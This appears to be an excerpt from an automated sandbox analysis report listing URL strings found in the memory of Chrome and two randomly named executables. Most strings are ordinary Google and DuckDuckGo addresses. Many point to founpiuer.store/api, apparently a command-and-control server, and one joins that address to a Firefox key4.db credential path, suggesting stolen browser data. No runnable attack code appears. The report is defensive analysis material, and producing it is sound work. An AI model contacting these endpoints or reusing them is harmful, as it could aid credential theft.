Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 0000000C.00000002.2656529617.000039D4024D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 0000000C.00000002.2662513827.000039D402D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661166588.000039D402A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000000C.00000003.2578963426.000039D402E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553319034.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2565952633.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2570021935.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661166588.000039D402A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554148478.000039D402E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663509517.000039D402E90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000000C.00000003.2578963426.000039D402E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553319034.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2565952633.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2570021935.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661166588.000039D402A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554148478.000039D402E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663509517.000039D402E90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 0000000C.00000002.2656529617.000039D4024D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 0000000C.00000002.2660526749.000039D402920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2659072574.000039D4026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2670449534.000039D40321C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 0000000C.00000002.2656529617.000039D4024D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 0000000C.00000002.2660526749.000039D402920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2659072574.000039D4026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2670449534.000039D40321C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: 44e053de15.exe, 44e053de15.exe, 00000007.00000003.2656371026.000000000854B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2985941651.00000000062DC000.00000040.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.000000000005C000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000002.2832113695.000000006C371000.00000002.00000001.01000000.0000000B.sdmp, 932a9eb371.exe, 00000008.00000003.2452950173.0000000004F1B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000002.2934224445.00000000066AC000.00000040.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2752337356.0000000008AEB000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 0000000C.00000002.2658452970.000039D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 0000000C.00000002.2658452970.000039D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 0000000C.00000002.2658452970.000039D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googlPW
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 0000000C.00000003.2554398614.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540218878.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2657230752.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2549335470.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2542745139.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 0000000C.00000002.2661434911.000039D402A84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 0000000C.00000002.2661434911.000039D402A84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 44e053de15.exe, 00000007.00000003.2435982859.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436296917.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436448385.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2644471328.00000000010EC000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2567168886.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566978340.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabu
Source: chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: 44e053de15.exe, 00000007.00000003.2435982859.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436296917.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436448385.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2644471328.00000000010EC000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2567168886.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566978340.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icondTripTime
Source: 44e053de15.exe, 00000007.00000003.2645132437.000000000123B000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2963311697.000000000118E000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421327250.00000000011E3000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2628466446.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2660637587.000000000166F000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2668251634.0000000001677000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2654844652.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2685171445.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605528492.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2653391678.0000000001677000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2654760612.0000000005DC1000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605078615.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/
Source: 44e053de15.exe, 00000007.00000003.2532511888.000000000124C000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2514312973.000000000124D000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2583215042.000000000124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/$
Source: 44e053de15.exe, 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/(7
Source: 44e053de15.exe, 00000007.00000003.2583215042.000000000124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/=H
Source: 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/LU
Source: 44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/P7
Source: 44e053de15.exe, 00000007.00000003.2498646369.000000000124C000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2621721221.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2668251634.0000000001677000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2654844652.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2621521910.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605274597.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2607259242.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2685171445.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2604844467.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605989185.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2654760612.0000000005DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/api
Source: 44e053de15.exe, 00000007.00000003.2421210406.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421327250.00000000011E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/api4v
Source: 44e053de15.exe, 00000007.00000003.2513273940.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apie1
Source: 44e053de15.exe, 00000007.00000003.2583032021.0000000001264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apindow
Source: 44e053de15.exe, 00000007.00000003.2539680518.0000000001264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apindow0v
Source: 44e053de15.exe, 0000000B.00000003.2605274597.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2607259242.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2604844467.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605989185.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apip
Source: 44e053de15.exe, 00000007.00000003.2532511888.000000000124C000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2514312973.000000000124D000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2583215042.000000000124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/d
Source: 44e053de15.exe, 00000007.00000003.2456776813.00000000056C2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2469262780.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/eS
Source: 44e053de15.exe, 0000000B.00000003.2685171445.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/g
Source: 44e053de15.exe, 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/h7
Source: 44e053de15.exe, 00000007.00000003.2644741017.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2489731407.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2983726129.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2470042249.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2489188761.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2539260221.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2469795161.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2469262780.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2489542320.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2470981670.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2471532115.00000000056C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/mDk
Source: 44e053de15.exe, 0000000B.00000003.2660637587.000000000166F000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2653391678.0000000001677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/p
Source: 44e053de15.exe, 00000007.00000003.2532511888.000000000124C000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2514312973.000000000124D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/p5Hf
Source: 44e053de15.exe, 0000000B.00000003.2668251634.0000000001677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/p7
Source: 44e053de15.exe, 00000007.00000003.2583215042.000000000124C000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2963311697.000000000118E000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2660637587.000000000166F000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2653391678.0000000001677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/pi
Source: 44e053de15.exe, 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/ta87
Source: 44e053de15.exe, 00000007.00000003.2532511888.000000000124C000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2514312973.000000000124D000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2583215042.000000000124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/ve
Source: 44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/vo
Source: 44e053de15.exe, 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/x7
Source: 44e053de15.exe, 0000000B.00000002.2926159321.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/api
Source: 44e053de15.exe, 0000000B.00000002.2926159321.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apis92o4p.default-release/key4.dbPK
Source: chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2583153459.000039D4036C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 0000000C.00000003.2579362478.000039D4036BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2583153459.000039D4036C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/#
Source: chrome.exe, 0000000C.00000003.2579362478.000039D4036BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2583153459.000039D4036C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/&
Source: chrome.exe, 0000000C.00000003.2579362478.000039D4036BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2583153459.000039D4036C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/-
Source: chrome.exe, 0000000C.00000003.2579362478.000039D4036BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2583153459.000039D4036C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 0000000C.00000003.2521161489.000034240039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 0000000C.00000003.2579362478.000039D4036BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2583153459.000039D4036C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/7
Source: chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/9
Source: chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/=
Source: chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/B
Source: chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Y
Source: chrome.exe, 0000000C.00000003.2524578019.0000342400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj$4
Source: chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/n
Source: chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/u
Source: chrome.exe, 0000000C.00000003.2524578019.0000342400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D4036BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2583153459.000039D4036C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 0000000C.00000003.2521161489.000034240039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 0000000C.00000003.2524578019.0000342400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 0000000C.00000003.2524578019.0000342400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 0000000C.00000003.2585594115.000039D4038A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2585501431.000039D4038A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2585408286.000039D403898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2585446041.000039D40389C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
